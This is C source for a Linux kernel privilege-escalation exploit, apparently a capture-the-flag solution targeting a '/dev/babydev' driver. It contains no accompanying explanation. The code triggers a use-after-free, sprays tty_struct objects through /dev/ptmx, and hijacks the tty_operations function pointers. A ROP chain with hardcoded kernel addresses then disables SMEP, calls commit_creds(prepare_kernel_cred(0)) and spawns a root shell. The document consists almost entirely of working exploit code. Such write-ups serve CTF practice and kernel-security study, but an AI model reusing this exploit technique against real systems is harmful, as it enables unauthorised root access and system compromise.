1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h> #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h>
#define TTY_STRUCT_SIZE 0x2e0 #define SPRAY_ALLOC_TIMES 0x100
int spray_fd[0x100];
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); int (*write_room)(struct tty_struct *tty); int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); const struct file_operations *proc_fops; };
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810; unsigned long native_write_cr4 = 0xFFFFFFFF810635B0; unsigned long xchgeaxesp = 0xFFFFFFFF81007808; unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef; unsigned long swapgs = 0xFFFFFFFF81063694;
unsigned long user_cs, user_ss, user_rflags; void save_stats() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" :"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" ); }
void get_shell() { system("/bin/sh"); }
void get_root() { commit_creds(prepare_kernel_cred(0)); }
void exploit() { int i; char *buf = (char*)malloc(0x1000); struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));
save_stats();
memset(fake_tty_operations, 0, sizeof(struct tty_operations)); fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;
int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, TTY_STRUCT_SIZE); write(fd2, "hello world", strlen("hello world")); close(fd1);
puts("[+] Spraying buffer with tty_struct"); for (i = 0; i < SPRAY_ALLOC_TIMES; i++) { spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); if (spray_fd[i] < 0) { perror("open tty"); } }
puts("[+] Reading buffer content from kernel buffer"); long size = read(fd2, buf, 32); if (size < 32) { puts("[-] Reading not complete!"); printf("[-] Only %ld bytes read.\n", size); } puts("[+] Detecting buffer content type"); if (buf[0] != 0x01 || buf[1] != 0x54) { puts("[-] tty_struct spray failed"); printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]); puts("[-] Exiting..."); exit(-1); } puts("[+] Spray complete. Modifying function pointer"); unsigned long *temp = (unsigned long *)&buf[24]; *temp = (unsigned long)fake_tty_operations;
puts("[+] Preparing ROP chain"); unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF; unsigned long base = lower_address & ~0xfff; printf("[+] Base address is %lx\n", base); if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) { perror("mmap"); exit(1); }
unsigned long rop_chain[] = { poprdiret, 0x6f0, native_write_cr4, (unsigned long)get_root, swapgs, base, iretq, (unsigned long)get_shell, user_cs, user_rflags, base + 0x10000, user_ss }; memcpy((void*)lower_address, rop_chain, sizeof(rop_chain)); puts("[+] Writing function pointer to the driver"); long len = write(fd2, buf, 32); if (len < 0) { perror("write"); exit(1); }
puts("[+] Triggering"); for (i = 0;i < SPRAY_ALLOC_TIMES; i++) { ioctl(spray_fd[i], 0, 0); } }
int main() { exploit(); return 0; }
|